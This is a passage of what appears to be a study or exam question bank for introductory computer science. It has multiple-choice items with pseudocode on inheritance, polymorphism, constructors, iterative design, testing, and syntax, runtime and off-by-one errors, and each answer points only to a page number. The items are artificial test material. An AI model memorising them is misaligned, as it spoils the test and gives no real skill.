16 class Square extends Rectangle
17   function set_side(int s)
18     self.width = s
19     self.height = s
20
21 Square tile = Square(4, 4)
22 tile.set_width(6)
23 output(tile.area())
```

Which conclusion is most appropriate?

A. `Square` receives an operation that lets its sides become unequal, so the subclass does not preserve what a parent's callers can do safely.

B. The call to `set_width()` cannot reach a `Square` object, so the call has no effect on the object, and `area()` is using a stale value.

C. A subclass must always rewrite `area()`, because a method inherited from a parent cannot read the values stored in the attributes of a subclass object.

D. No class should ever inherit from another class that has attributes, because sharing attributes through a parent will always produce errors of this kind.

Answer: page 1012

0002.l.4.5

A school media center's program has a class `MediaItem` with the attribute `title` and the methods `check_out()` and `due_date()`. The center now wants to lend podcasts on loaned devices. A podcast needs everything that a `MediaItem` has, along with a count of its episodes. A developer will write `Podcast` as a subclass of `MediaItem`. What should the developer need to write in the subclass?

A. every attribute and method again, since a subclass begins empty and takes only the names of its parent's members, not their code

B. only the new attribute and any behavior specific to podcasts, since the parent's members are already available to `Podcast` objects

C. only a constructor, since a subclass may not define any attribute that its parent lacks and so must store the count elsewhere

D. nothing in the subclass, since a new attribute such as the count must first be added to `MediaItem`, which then shares it with all subclasses

Answer: page 1012

Polymorphism

0002.l.5.1

A school equipment office tracks loans with the code shown. Several other functions in the program, for items such as replacement cost and loan limits, contain similar chains of comparisons on `kind`. Each time the office adds a new kind of item, a programmer has to find and edit every chain, and last month one chain was missed.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Item
03   String kind
04   int days
05
06   function Item(String k, int d)
07     self.kind = k
08     self.days = d
09
10 function late_fee(Item it)
11   if (it.kind == "book")
12     return it.days * 1
13   elseif (it.kind == "laptop")
14     return it.days * 5
15   elseif (it.kind == "camera")
16     return it.days * 4
17   return 0
18
19 Item[] loans = [Item("book", 3), Item("laptop", 2)]
20 int total = 0
21 for (int i = 0; i < loans.size[1]; i = i + 1)
22   total = total + late_fee(loans[i])
23 output(total)
```

Which redesign best addresses this problem?

A. one long function that holds all of the chains in one place, so that a programmer adding a new kind of item scrolls through a single function

B. a subclass for each kind of item, each with its own `late_fee()`, so that the loop calls `loans[i].late_fee()` without checking the kind first

C. `int` codes in place of the `String` values of `kind`, so that the comparisons in every chain run faster as the number of kinds increases

D. a separate loop for each kind of item, with each array holding one kind only, so that the code inside each of the loops does not need to check

Answer: page 1012

0002.l.5.2

A sign shop's estimating program totals the area of shapes in an order. The parent class `Shape` provides a default `area()`, which returns `0`, for a shape whose area is not yet known. `Square` and `Triangle` extend it. All of the shapes in the order are held in one array.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Shape
03   int size
04   function Shape(int s)
05     self.size = s
06   function area()
07     return 0
08
09 class Square extends Shape
10   function area()
11     return self.size * self.size
12
13 class Triangle extends Shape
14   function area()
15     return self.size * self.size / 2
16
17 Shape[] order = [Square(2), Triangle(4), Shape(9)]
18 int total = 0
19 for (int i = 0; i < order.size[1]; i = i + 1)
20   total = total + order[i].area()
21 output(total)
```

Which output should be expected?

A. `>>> 0`, because an array declared as `Shape[]` runs the `area()` that is written in `Shape` on every object in it

B. `>>> 12`, because each object uses the `area()` of the class from which it was created, not the one declared for the array

C. `>>> 101`, because the first `area()` written below the parent is applied to all of the objects, whichever class they belong to

D. `>>> 150`, because each subclass's `area()` is added to its parent's, so an object's calls run both of the versions in turn

Answer: page 1012

0002.l.5.3

A student is building a message feed for a school's website. Each kind of message should appear with a heading in the same layout, so the layout is written once, in `Notice`. A programmer reviewing the code is unsure which heading `show()` will use for an `Alert` object.

```
01 class Notice
02   function title()
03     return "Notice"
04
05   function show()
06     output(concat("== ", self.title()))
07
08 class Alert extends Notice
09   function title()
10     return "Alert"
11
12 /* self is the calling object */
13 /* no constructors are needed here */
14 Notice[] feed = [Notice(), Alert()]
15 for (int i = 0; i < feed.size[1]; i = i + 1)
16   feed[i].show()
17
18 /* feed[1] is an Alert object */
19 feed[1].show()
```

Which output should be expected?

A. `>>> "== Alert"`, `>>> "== Alert"`, and `>>> "== Alert"`, since the version in a subclass replaces the parent's version for all objects in the program

B. `>>> "== Notice"`, `>>> "== Notice"`, and `>>> "== Notice"`, since `show()` is written in `Notice` and so always uses the version of `title()` found there

C. `>>> "== Notice"`, then `>>> ERROR`, since `Alert` does not contain a `show()` method and therefore cannot respond when that method is called on one of its objects

D. `>>> "== Notice"`, `>>> "== Alert"`, and `>>> "== Alert"`, since `self` in `show()` is the object receiving the call, so its own class supplies `title()`

Answer: page 1012

0002.l.5.4

A teacher is preparing a lesson built around a program in which a single line of code produces different behavior according to the kind of object that it is applied to, with no test anywhere of what kind of object it is. Which of the following programs best shows this idea?

A. a loop calling `play()` on each object in an array of `Flute` and `Drum` objects, where each class defines `play()` in its own way, with no test

B. a class `Drum` that extends `Instrument` and adds `tune()`, with a loop in which every call to `play()` runs the version in `Instrument`

C. a loop checking whether each object's `kind` attribute is `"flute"` or `"drum"` and then calling either `play_flute()` or `play_drum()` as appropriate

D. a loop calling `play()` on each of several `Flute` objects, where each object stores a different `note` and the single `play()` method outputs that value

Answer: page 1012

0002.l.5.5

A company's payroll program should pay regular employees `20` per hour and interns `12` per hour. A programmer has written the subclass shown for interns. When the program runs with one employee and one intern who each worked `10` hours, it outputs `200` twice, although `120` is expected for the intern. No error message appears.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Employee
03   int hours
04   function Employee(int h)
05     self.hours = h
06   function pay()
07     return self.hours * 20
08
09 class Intern extends Employee
10   function payment()
11     return self.hours * 12
12
13 Employee[] staff = [Employee(10), Intern(10)]
14 output(staff[0].pay())
15 output(staff[1].pay())
```

Which statement best identifies the cause?

A. The array is declared as `Employee[]`, so each object in it runs the version of a method that is written in `Employee`.

B. `Intern` declares a method with a different name, which leaves the inherited `pay()` in place, so the parent's version runs.

C. The attribute `hours` is written in the parent, so a calculation that reads it must be written in the parent for it to take effect.

D. `Intern` lacks a constructor of its own, so its object is created as an `Employee` and can no longer use `Intern` methods.

Answer: page 1012

Attributes, methods, and constructors

0002.l.6.1

A teacher's online quiz needs a countdown clock. A student's class is shown with its first method missing. As written, the attempt to create `q` fails. Each clock should begin with the number of seconds given when it is created, and for the main program shown, the expected output is `58`.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class QuizClock
03   int seconds
04
05   /*selected code goes here*/
06
07
08   function tick()
09     self.seconds = self.seconds - 1
10
11 QuizClock q = QuizClock(60)
12 q.tick()
13 q.tick()
14 output(q.seconds)
```

Which code, in place of lines 05 and 06, produces the intended behavior?

A.

```
function start(int s)
  self.seconds = s
```

B.

```
function QuizClock(int s)
  int seconds = s
```

C.

```
function QuizClock(int s)
  return s
```

D.

```
function QuizClock(int s)
  self.seconds = s
```

Answer: page 1013

0002.l.6.2

A school's room-reservation program approves a booking when the group fits in the room. Staff report that a group of `28` was approved for a lab with `24` seats, whereas a group of `150` was refused for a hall with `200` seats. All other parts of the program have been checked, and they use only the class shown.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Room
03   String name
04   int capacity
05
06   function Room(String n, int c)
07     self.name = n
08     self.capacity = 30
09
10   function fits(int group)
11     return group <= self.capacity
12
13 Room lab = Room("Lab", 24)
14 Room hall = Room("Hall", 200)
15 output(lab.fits(28))
16 output(hall.fits(150))
```

Which statement best identifies the fault?

A. The value given for each room at creation is never stored in the object, so that every room starts with the same capacity.

B. The second room replaces the first when it is created, since a class can hold the attributes of only one object at a time.

C. The comparison in `fits()` is reversed, since it should use >=, with the group's size at least as large as the room's capacity.

D. The method `fits()` must also receive the capacity as an argument, since a method is unable to read the attributes of its own object.

Answer: page 1013

0002.l.6.3

A programmer joining the team that maintains a school's lost-and-found program is writing documentation for the class shown. A colleague's draft sorts each member of the class by the role it plays in an object. Which description is correct?

```
01 /* self is the calling object */
02 class FoundItem
```

```
03   String description
04   bool claimed
05
06   function FoundItem(String d)
07     self.description = d
08     self.claimed = FALSE
09
10   function claim()
11     self.claimed = TRUE
12
13   function summary()
14     return self.description
```

A. `claimed` is a method because its value changes during a run, `summary()` is an attribute because it only gives back stored data, and `FoundItem()` is an ordinary method.

B. `claimed` and `claim()` are constructors because each one sets a value, `description` defines behavior, and `summary()` stores data.

C. `FoundItem()` is an attribute that holds the name of the class, whereas `description`, `claim()`, and `summary()` are all methods that are called on each object.

D. `description` and `claimed` store data, `FoundItem()` sets the state at creation, and `claim()` and `summary()` define behavior that can be called on each object.

Answer: page 1013

0002.1.6.4

A class `Circle` stores the radius given when an object is created. Its method `area()` has no parameters and returns the area computed from that stored radius. A student reviewing the lines shown expects an error, since `area()` is called with no information about either circle.

```
01 Circle small = Circle(2)
02 Circle large = Circle(5)
03 output(small.area())
04 output(large.area())
```

Which statement best explains how each call to `area()` obtains the radius it needs?

A. Each call reads the attribute of the object named before the dot, which has held that value since the object was created.

B. Each call receives a default radius that is written in the class and is shared by all of the `Circle` objects in the program.

C. Each call reads the radius of the `Circle` object created most recently, since a class remembers only its latest values.

D. Each call reads a global variable named `radius`, which the creation of each `Circle` object assigns for the whole program.

Answer: page 1013

0002.l.6.5

A student's visitor-log program greets each person on arrival and bids farewell on departure, as the class shown is written to do. The student wants to know how many welcome lines will appear in the output for the main program shown, since one visitor leaves twice by mistake.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Visitor
03   String name
04
05   function Visitor(String n)
06     self.name = n
07     output(concat("Welcome, ", n))
08
09   function leave()
10     output(concat("Goodbye, ", self.name))
11
12 Visitor a = Visitor("Ana")
13 Visitor b = Visitor("Ben")
14 a.leave()
15 a.leave()
16 b.leave()
```

How many welcome lines will appear?

A. five, because the statements in the constructor run once for each statement in the main program that names `a` or `b`

B. one, because the statements in the constructor run once for the class, the first time that an object of the class is created

C. two, because the statements in the constructor run each time that a new object is created, and two objects are created

D. three, because the statements in the constructor run when `leave()` is called, once for each of those calls in the program

Answer: page 1013

0002.m Iterative design

Read about this in the content summary: 0002.m, page 89.

Iterative development

0002.m.1.1

A student team is building an app that shows when school buses will arrive. In the first two weeks, the team builds a version that displays only one route on a map and asks eight riders to try it. The riders ask for arrival times in place of the map, so the team rewrites its plan around arrival times before adding any other routes. Which statement best characterizes the team's process?

A. It corrects defects in a finished app over a long period, and the team plans no new features while it does so.

B. It repeats short cycles in which a small working version is built and tested with users, and the results reshape the plan.

C. It completes each stage of the work and has it approved before the next stage starts, so that no earlier decisions are reopened.

D. It builds several complete apps at the same time in separate groups, and then keeps only the one that riders liked most.

Answer: page 1013

0002.m.1.2

A club of five students has six weeks to build a program that schedules study sessions, and the club follows an iterative approach with two-week cycles. At the end of the first cycle, which of the following should the club have?

A. the code for the most difficult feature, written in isolation, with the rest of the program not yet begun and untested

B. a small program that runs and has been tried by some users, together with a revised list of what to build next

C. a complete program with every planned feature written, whose faults are listed so that they can be repaired in the remaining weeks

D. a full written design of the whole program, approved by the club, with no code written until the second cycle begins

Answer: page 1013

0002.m.1.3

A team follows an iterative process. After its second cycle, usage records show that nine of ten testers never opened the "share" tab, which took three weeks to build, and that seven of ten testers asked for a way to export their results. The original plan listed sharing as a core feature and export as optional. Which response is most consistent with iterative development?

A. ending the sessions with testers, because their requests now disagree with the plan that the team had made before building

B. keeping the planned order of features, because a plan that the whole team approved should not be altered by a few testers

C. discarding the second version and restarting the project, because a version that testers do not use shows the whole approach to be mistaken

D. moving effort toward export in the next cycle and reconsidering how much more work sharing deserves, given the evidence

Answer: page 1013

0002.m.1.4

A software company spends fourteen months building a payroll tool from a detailed specification, and no one outside the team uses the tool before delivery. At delivery, the payroll office finds that the tool cannot handle staff who work at two schools, a case that the specification did not mention. Which feature of the company's process most directly allowed this problem to remain hidden for so long?

A. No working version reached the payroll office until the end, so wrong assumptions could not be exposed while changing them was inexpensive.

B. The specification was not translated into a programming language that the payroll office could read and approve in detail.

C. The tool was written by too few programmers for its size, and so the team had too little time to examine the specification.

D. Testing was done on each module immediately after it was written, which was too early for errors in the modules to be found.

Answer: page 1013

0002.m.1.5

Four students describe how they built a class game. Which description reflects iterative development?

A. Student D built a game in which a character moved, tried it with a classmate, then changed the controls and added scoring in the next round.

B. Student C ran the finished game many times with different inputs, to check that it behaved the same on each run, and changed nothing else.

C. Student A wrote a complete plan, programmed the whole game in one weekend, and then ran it repeatedly to find and fix the faults that remained.

D. Student B used loops so that the game repeated its turns until a player won, and the student tested the loops with several players.

Answer: page 1013

Requirements gathering

0002.m.2.1

A district office asks a student to build "a better way to track field trip permission slips." The student has not yet seen how permission slips are handled. Which action should the student take first?

A. listing the features of several existing permission slip apps, and selecting the ones that appear most often as the plan

B. interviewing the secretaries and teachers who handle the slips to learn what happens now and where it goes wrong

C. choosing a programming language and creating a project, so that the work can be organized before details are discussed

D. drawing the tables in which the slips will be stored, because every other feature depends on how the data are kept

Answer: page 1013

0002.m.2.2

A student takes notes at a meeting with a school nurse. Which of the following notes states a requirement, in the sense of what is needed without saying how to provide it?

A. The program must store the allergy list in a two-dimensional array, with one row for each student in the school.

B. The program must show nurses each student's allergy information before a field trip leaves the building.

C. The program must be written in Python, so that it runs on the nurse's existing laptop.

D. The program must locate a student by identification number, using a binary search on a sorted list.

Answer: page 1013

0002.m.2.3

Counselors at a school want a chat tool that keeps a record of every message so that they can respond to threats. Students say that they would not use a chat tool that records everything they write. The student developer must decide how to proceed. Which step is most appropriate?

A. building the tool exactly as the students specify, since students are the people who will type the messages

B. building the tool exactly as the counselors specify, since they are responsible for student safety and the students are not

C. building the counselors' version first, and adding the students' needs only if time remains after the main features

D. meeting with both groups to explain each concern and to look for a design that balances them, such as limited records

Answer: page 1013

0002.m.2.4

A student builds a notice-board app for a school office. The app works correctly, but the office staff never use it. Most notices are written in Spanish and Haitian Creole, and the app accepts only English text. The staff also share one older computer at the front desk, and the app runs only on a phone. Which omission most likely led to these problems?

A. The student did not write tests for the functions that display each notice, so the faults in them went unreported.

B. The student did not ask the staff and families which languages and devices they use before deciding what to build.

C. The student did not speed up the search through the notices, which made the app too slow to be worth using.

D. The student did not add comments explaining the code, which prevented the office staff from adapting the app themselves.

Answer: page 1014

0002.m.2.5

A student plans an app for a food pantry and wants an accurate account of what the pantry needs. Which approach is likely to give the most reliable account?

A. imagining a typical day at the pantry and writing down the features that the student would want if working there

B. reading about the tools used by food pantries in other cities and adopting the features that are common to them

C. observing a distribution day and talking with volunteers and with people who receive food about what slows them down

D. asking only the pantry's director for a list of wishes, since the director makes decisions for the whole organization

Answer: page 1014

Prototyping

0002.m.3.1

A district wants to know whether teachers prefer a dashboard with seven panels or one with three, and a developer has two days before the decision. Which plan would answer the question at the lowest cost?

A. building the complete dashboard with real student data, so that teachers judge the layout under realistic conditions

B. asking the development team to vote on the layout, since its members know the most about the data to be shown

C. writing the module that loads data for the panels, since a layout can always be adjusted after the hard work is complete

D. drawing both layouts on paper and asking five teachers to talk through how they would use each

Answer: page 1014

0002.m.3.2

A teacher wants a gradebook in which tests count for 40 percent and homework for 60 percent of a final grade. Before building the gradebook, a student writes the program below to show the teacher what the rule produces for three sample students.

```
01 /* Shows weighted grades for three sample students */
02 int[] tests = [90, 70, 50]
03 int[] homework = [60, 80, 100]
04 for (int i = 0; i < tests.size[1]; i = i + 1)
05   int grade = (tests[i] * 2 + homework[i] * 3) / 5
06   output(grade)
```

Which statement best describes the program's value at this stage of the project?

A. It allows the teacher to check concrete results of the weighting rule before the gradebook is built.

B. It is the first stage of the gradebook, and the next step is to add the menus and screens around it.

C. It shows that the weighting rule is correct for every student, since the sample students' grades are all reasonable.

D. It cannot be shown to the teacher until it handles missing scores and invalid values, as a prototype must be reliable.

Answer: page 1014

0002.m.3.3

A design team shows one group of users a polished demonstration with final colors and fonts, and shows another group a pencil sketch of the same app. Users who see the demonstration comment mostly on colors and fonts. Users who see the sketch ask whether the steps match their own work and suggest changes to the flow. Which statement best explains the difference?

A. A rough sketch costs very little to produce, so the comments it receives are more accurate than comments on a finished demonstration.

B. A rough sketch signals that the design is still open, which invites comments about what the app does and how it flows.

C. A rough sketch is a commitment to the final design, so users examine what the app does with greater care.

D. A polished demonstration hides the functions of the app, so users cannot tell what the app is meant to do.

Answer: page 1014

0002.m.3.4

A software company has a team plan to build a reading app that highlights each word as a student says it. The team doubts that speech recognition will keep up on the older tablets that the school uses. Before designing any other part of the app, the team writes a small program that only listens and prints each word it recognizes together with the time in milliseconds. What is the main reason for doing this first?

A. to confirm that the final app will be free of errors, so that later testing of the whole app can be skipped

B. to learn cheaply whether the idea at the center of the plan can work, before time is spent on the other parts

C. to prepare the documentation that the school will need, because instructions are easier to write for a simple program

D. to provide a first release that the school can use now, with the remaining features added only if students request them

Answer: page 1014

0002.m.3.5

A student builds a registration tool for a robotics club in two days. It stores names in a plain text file, has never been tested with more than five entries, and crashed twice in a demonstration, although the club liked its design. A district official now proposes to use it for all 20,000 students next week. Which concern is most appropriate?

A. The tool contains more checks on security than finished software does, and these would slow its response with 20,000 students.

B. The tool is a prototype, so it exists on paper only and cannot run for even a single student on any device.

C. The tool has been checked by the club members who liked it, so the only concern is whether the server can hold 20,000 names.

D. The tool was made to test an idea quickly, and probably lacks the reliability, testing, and protection of data that this use requires.

Answer: page 1014

Incremental testing

0002.m.4.1

A student is writing a quiz program with five planned features: asking a question, checking an answer, repeating for all questions, keeping a score, and showing a final result. Which plan best reflects incremental development?

A. writing each feature in a separate program, testing none of them until all five are finished and then joining them

B. writing the code to ask one question and running it, then adding each next feature in order and running again after each

C. writing the score feature first because it is the hardest, and testing the other features only after it is complete

D. writing the code for all five features in one session, then running the program once to find which of them contains faults

Answer: page 1014

0002.m.4.2

A student has a program that sums a list of scores and has been shown to print the correct total. The student then adds a second loop, on lines 05 through 08, to count the scores above 60. The program now prints the total correctly but prints 0 for the count, where 3 is expected.

```
01 int[] scores = [70, 55, 90, 80]
02 int total = 0
```

```
03 for (int i = 0; i < scores.size[1]; i = i + 1)
04   total = total + scores[i]
05 int passing = 0
06 for (int i = 0; i < scores.size[1]; i = i + 1)
07   if (scores[i] > 60)
08     passing = passing
09 output(total)
10 output(passing)
```

Because the program was tested before the new lines were added, where should the student look first, and for what reason?

A. At the loop that sums the scores, since a fault in earlier lines only shows itself when later lines are run.

B. At the output statements, since the program must be reading the wrong variables when it reports the count.

C. At the lines added since the last correct run, since the earlier lines gave a correct result before the change.

D. At the list of scores, since a fault in the data is more likely than a fault in the newest code.

Answer: page 1014

0002.m.4.3

Two students each write a 120-line program in a single week. Student A adds one small feature at a time and runs the program after each addition. Student B writes all 120 lines before running the program for the first time, and then finds seven faults. Which statement best explains why Student A can usually find a fault more quickly?

A. Running the program often removes faults without any change to the code, since the computer rechecks each statement on every run.

B. The program ran correctly before the latest addition, so a fault is most likely in that addition, only a few lines long.

C. The computer reports the line of every logic error when a program is run many times, which Student B did not do.

D. Student A's program has fewer features at each run, so it contains fewer faults in total than Student B's program does.

Answer: page 1014

0002.m.4.4

A team requires that the existing automated tests pass before any change is added to the shared program. A student adds an express-shipping feature, and the existing test for ordinary shipping

fails. The requirements for ordinary shipping have not changed. What should the student do?

A. add the change anyway and repair ordinary shipping later, since the new feature is the more valuable work

B. examine what the new change did to ordinary shipping, correct it, and run the tests again before the change is added

C. run the tests repeatedly until the shipping test passes, since a test that fails once may be an error in the test

D. delete the failing test, since a test that fails after a new feature has been added is no longer relevant

Answer: page 1014

0002.m.4.5

A student has a program that finds the highest of four scores and prints it correctly. In one step, the student adds code that sums the scores, prints the total, and then prints the mean. The program prints the highest score and then stops with an error message, and the student cannot tell which of the new statements is responsible.

```
01 int[] scores = [70, 55, 90, 80]
02 int highest = scores[0]
03 for (int i = 1; i < scores.size[1]; i = i + 1)
04   if (scores[i] > highest)
05     highest = scores[i]
06 output(highest)
07 int total = 0
08 for (int i = 0; i <= scores.size[1]; i = i + 1)
09   total = total + scores[i]
10 output(total)
11 int mean = total / scores.size[1]
12 output(mean)
```

Which way of adding this feature would most likely have shown the source of the fault at once?

A. adding the mean before the sum, since the shorter piece of code is less likely to contain a fault

B. adding the loop that sums the scores with its output, running the program, and only then adding the mean

C. adding the new statements before the code that finds the highest score, so that an error stops the program early

D. adding both pieces in one step again, and then running the program twice to see whether the error repeats

Answer: page 1014

Agile and waterfall

0002.m.5.1

A state agency must build a payroll system for a new law that fixes every calculation rule in advance. The deadline is fixed, and the agency expects the rules to stay the same until the system is delivered. Which approach is most appropriate, and why?

A. working in short cycles with frequent delivery, because frequent delivery is preferable for every project, whatever its requirements

B. working in short cycles, because agile methods avoid planning and documentation, which the fixed deadline leaves no time to prepare

C. completing requirements, design, coding, and testing in sequence, because fixed and complete rules make late discoveries unlikely

D. completing phases in sequence, because this method gives users a working version every few weeks, which suits a fixed deadline

Answer: page 1015

0002.m.5.2

A project manager says, “Because our team is agile, we do not need to plan or write any documentation.” Which reply is most accurate?

A. Agile teams still plan and document, but they do so in smaller amounts for each short cycle.

B. Agile teams may skip planning only when users are not available to give feedback during the cycles of the project.

C. Agile teams plan and document everything at the start, as other methods do, and then change nothing in the cycles.

D. Agile teams document their work only in the final cycle, since documentation before then is wasted by later changes.

Answer: page 1015

0002.m.5.3

A team follows a method in which requirements, design, coding, and testing are completed in that order. During the final testing phase, the team learns that users need the app to work without an internet connection, and the requirements never mentioned this. Redesign is expensive. Which characteristic of the method most directly explains the cost?

A. Each phase is completed before the next begins, so a gap in the early phase appears only after later work depends on it.

B. Each phase is documented in detail, and the documentation makes it impossible for the team to alter any part of the design.

C. Each phase lasts only a few days, so there is too little time for users to be consulted before the design is complete.

D. Each phase is carried out by all of the users, so conflicting requirements cannot be resolved before coding begins.

Answer: page 1015

0002.m.5.4

A start-up is building a fitness app, but it does not know which features users will value. Investors review progress each month. Compared with completing a full specification first, adopting short development cycles with frequent releases would give the start-up:

A. a fixed final cost and date, because every feature would be specified and priced before any code is written.

B. earlier chances to learn from users' reactions and change direction, at the price of a less complete plan at the start.

C. a complete requirements document before coding, with later changes handled in a separate process after delivery.

D. no need to test, since each release is so small that any faults it contains are not likely to affect users.

Answer: page 1015

0002.m.5.5

Team 1 spends weeks 1 to 3 on requirements, weeks 4 to 8 on design, weeks 9 to 16 on coding, weeks 17 to 20 on testing, and releases in week 21. Team 2 spends every two weeks planning, building, testing, and showing a working version to users. Which statement correctly compares the teams?

A. Team 2 begins with no plan at all, whereas Team 1 plans in detail, and for that reason Team 1 cannot make errors.

B. Team 1 cannot show a working program to users before week 17, whereas Team 2 receives user reactions every two weeks.

C. Team 1 uses short cycles with long phases, and Team 2 uses long phases with short cycles, so they receive feedback at the same time.

D. Team 2 leaves testing until its final cycle, while Team 1 tests its work during each phase, from week 1 onward.

Answer: page 1015

0002.n Errors, testing, and debugging

Read about this in the content summary: 0002.n, page 91.

Syntax, runtime, and logic errors

0002.n.1.1

A teacher asks a computer science student for a program that reports each student's course grade, in which tests count for 60 percent, homework for 30 percent, and participation for 10 percent. The student's program, shown below, runs to completion and displays a name and a grade for each of three students. When the teacher works out Avery's grade by hand, the result is 88, but the program displays 92 for Avery.

```
01 /* Report each student's course grade: tests count 60 percent, */
02 /* homework 30 percent, and participation 10 percent. */
03 String[] names = ["Avery", "Blake", "Casey"]
04 int[] tests = [90, 70, 80]
05 int[] homework = [80, 100, 60]
06 int[] participation = [100, 90, 70]
07
08 int test_weight = 60
09 int homework_weight = 30
10 int part_weight = 10
11
12 for (int i = 0; i < names.size[1]; i = i + 1)
13   int points = tests[i] * test_weight
14   points = points + homework[i] * part_weight
15   points = points + participation[i] * homework_weight
16   int grade = points / 100
17   output(names[i])
18   output(grade)
```

The problem that the teacher has found is best described as:

A. a runtime error, since the incorrect grade is calculated only while the program is running and not when its text is first checked.

B. no error that testing can find, since a program that finishes without any message has been accepted as correct by the language.

C. a logic error, since every statement is valid and runs to the end, yet two of the weights are paired with the wrong scores.

D. a syntax error, since the language does not allow a homework score to be multiplied by a weight that has a different name.

Answer: page 1015

0002.n.1.2

A track coach's assistant writes the program below to announce that the day's lap times have been recorded and then to report the fastest lap, in seconds. While typing line 05, the assistant leaves out the closing parenthesis of the condition and does not notice the omission. Which statement best describes what happens when the assistant tries to run the program?

```
01 int[] laps = [62, 58, 65]
02 output("Lap times recorded")
03 int best = laps[0]
04 for (int i = 1; i < laps.size[1]; i = i + 1)
05   if (laps[i] < best
06     best = laps[i]
07 output(best)
```

A. The opening message is displayed, and the program then stops with an error message when it reaches the incomplete condition inside the loop's block.

B. Nothing is displayed, not even the opening message, because the program's text is checked against the language's rules before any statement runs.

C. The opening message is displayed, followed by `65`, because a condition that cannot be read is treated as true on every pass through the loop.

D. Both outputs are displayed, with `58` as the fastest lap, because the interpreter supplies a missing closing parenthesis at the end of a line.

Answer: page 1015

0002.n.1.3

A student club keeps the donations collected on each day of a five-day fundraiser in an array. In the first version of the program below, line 05 read `for (int i = 0; i <= n; i = i + 1)`, and the program stopped with an error message without displaying a total. The student changed line 05 to the version shown, and the program now finishes and displays `160`, which the club's treasurer copies into a report.

```
01 /* Total the donations collected on each day of a fundraiser. */
02 int[] donations = [40, 25, 60, 35, 50]
03 int n = donations.size[1]
04 int total = 0
05 for (int i = 0; i < n - 1; i = i + 1)
06   total = total + donations[i]
07 output(total)
```

Which statement best describes the effect of the student's change?

A. It corrected the program, because a program that finishes without an error message has carried out the steps its author intended.

B. It replaced an error that halted execution with one that lets the program finish while silently leaving out the final day's donation.

C. It replaced a violation of the language's rules, which kept the program from starting, with an error that appears only while it runs.

D. It left the kind of error unchanged, because a wrong total and a halted program are both runtime errors that occur during execution.

Answer: page 1015

0002.n.1.4

A teacher collects three reports from students whose programs are not working. In the first, a message naming line 9 appears as soon as the student selects Run, and none of the program's output appears. In the second, the program displays the first four names from an array and then stops with a message about an invalid position. In the third, the program displays every name and finishes normally, but the total that it displays is lower than the total that the student computed with a calculator. Which classification of the three reports is accurate?

A. the first is a runtime error, the second is a syntax error, and the third is a logic error

B. the first is a syntax error, the second is a runtime error, and the third is a runtime error

C. the first is a syntax error, the second is a runtime error, and the third is a logic error

D. the first is a syntax error, the second is a logic error, and the third is a runtime error

Answer: page 1015

0002.n.1.5

A student writes the program below to split a restaurant bill, including a tip, among the people in a group. Each value is typed by the user while the program runs. The student tests the program with the inputs `80`, `20`, and `4`, and it displays a total of `96`, a share of `24`, and a message that the bill divides evenly. A classmate then runs the program and enters `80`, `20`, and `0`.

```
01 /* Split a restaurant bill, with a tip, among a group. */
02 int bill = input()
03 int tip_percent = input()
04 int people = input()
05
06 int tip = bill * tip_percent / 100
07 int total = bill + tip
08 output(total)
09
10 int share = total / people
```

```
11 int leftover = total - share * people
12 output(share)
13
14 if (leftover == 0)
15   output("The bill divides evenly.")
16 else
17   output("The shares do not cover the bill exactly.")
```

Which statement best describes what the classmate observes, and why the student's test did not reveal it?

A. The total is displayed and the program then stops, because the classmate's computer applies the language's rules more strictly than the student's does.

B. All three lines are displayed with a share of `0`, because the program finishes normally and the wrong share is a fault in its reasoning.

C. The total `96` appears and the program then stops with an error message, because the failing division depends on a value entered during the run.

D. Nothing is displayed, because dividing by a variable that might hold zero breaks a rule of the language and keeps the program from starting.

Answer: page 1015

Off-by-one errors

0002.n.2.1

A biology class measures the height of a seedling, in millimeters, on each of six mornings, and stores the heights in the order in which they were measured. A student writes the program below to report the number of days on which the seedling grew and the largest growth from one morning to the next. Which output would the program produce?

```
01 /* Report the number of days on which a seedling grew, and the */
02 /* largest growth from one morning to the next, in millimeters. */
03 int[] height = [12, 15, 15, 17, 18, 27]
04 int days = height.size[1]
05 int growth_days = 0
06 int largest = 0
07
08 for (int d = 1; d < days - 1; d = d + 1)
09   int change = height[d] - height[d - 1]
10   if (change > 0)
11     growth_days = growth_days + 1
12   if (change > largest)
13     largest = change
14
15 output(growth_days)
```

```
16 output(largest)
```

A.

```
>>> 4
>>> 9
```

B.

```
>>> 3
>>> 3
```

C.

```
>>> 2
>>> 3
```

D.

```
>>> ERROR
```

Answer: page 1015

0002.n.2.2

A school's shuttle leaves the main entrance at 0 minutes past the hour and then every 15 minutes, with the last departure at 60 minutes past the hour. A student writes the program below to list every departure time for a sign at the stop, but the list that it displays ends at 45. Which replacement for line 08 makes the program display all of the departure times?

```
01 /* List the departure times of a shuttle that leaves every */
02 /* 15 minutes, from 0 minutes through 60 minutes inclusive. */
03 int first = 0
04 int last = 60
05 int gap = 15
06 int trips = (last - first) / gap
07
08 for (int t = 0; t < trips; t = t + 1)
09   output(first + t * gap)
```

A. `for (int t = 1; t <= trips; t = t + 1)`

B. `for (int t = 1; t < trips; t = t + 1)`

C. `for (int t = 0; t <= trips; t = t + 1)`

D. `for (int t = 0; t < trips - 1; t = t + 1)`

Answer: page 1016

0002.n.2.3

A school's room-booking program keeps the rooms on one hallway in an array, in the order in which they appear along the hallway. A student adds the lines below so that the program announces

the room at the far end of the hallway, and expects `"104"` to be displayed. Which statement best describes what happens when the lines run?

```
01 String[] rooms = ["101", "102", "103", "104"]
02 int n = rooms.size[1]
03 output(rooms[n])
```

A. It displays an empty value, because reading a position past the end of an array adds a new, empty position to the array.

B. It stops with `ERROR`, because the four rooms occupy positions `0` through `3`, and no value is stored at position `4`.

C. It displays `"101"`, because a position past the end of an array continues counting again from the first value in it.

D. It displays `"104"`, because the number of values in an array is also the position of the final value stored in it.

Answer: page 1016

0002.n.2.4

A science class's motion sensor records a reading every second. The function below is intended to return the position of the first reading that jumps by more than 10 from the reading before it, or `-1` if there is no such jump. The teacher calls the function on the readings from two days, as shown.

```
01 /* Return the position of the first reading that jumps by more */
02 /* than 10 from the reading before it, or -1 if there is none. */
03 function first_jump(int[] readings)
04   int n = readings.size[1]
05   for (int i = 0; i < n; i = i + 1)
06     int diff = readings[i + 1] - readings[i]
07     if (diff > 10 OR diff < -10)
08       return i + 1
09   return -1
10
11 int[] monday = [20, 22, 21, 35, 36]
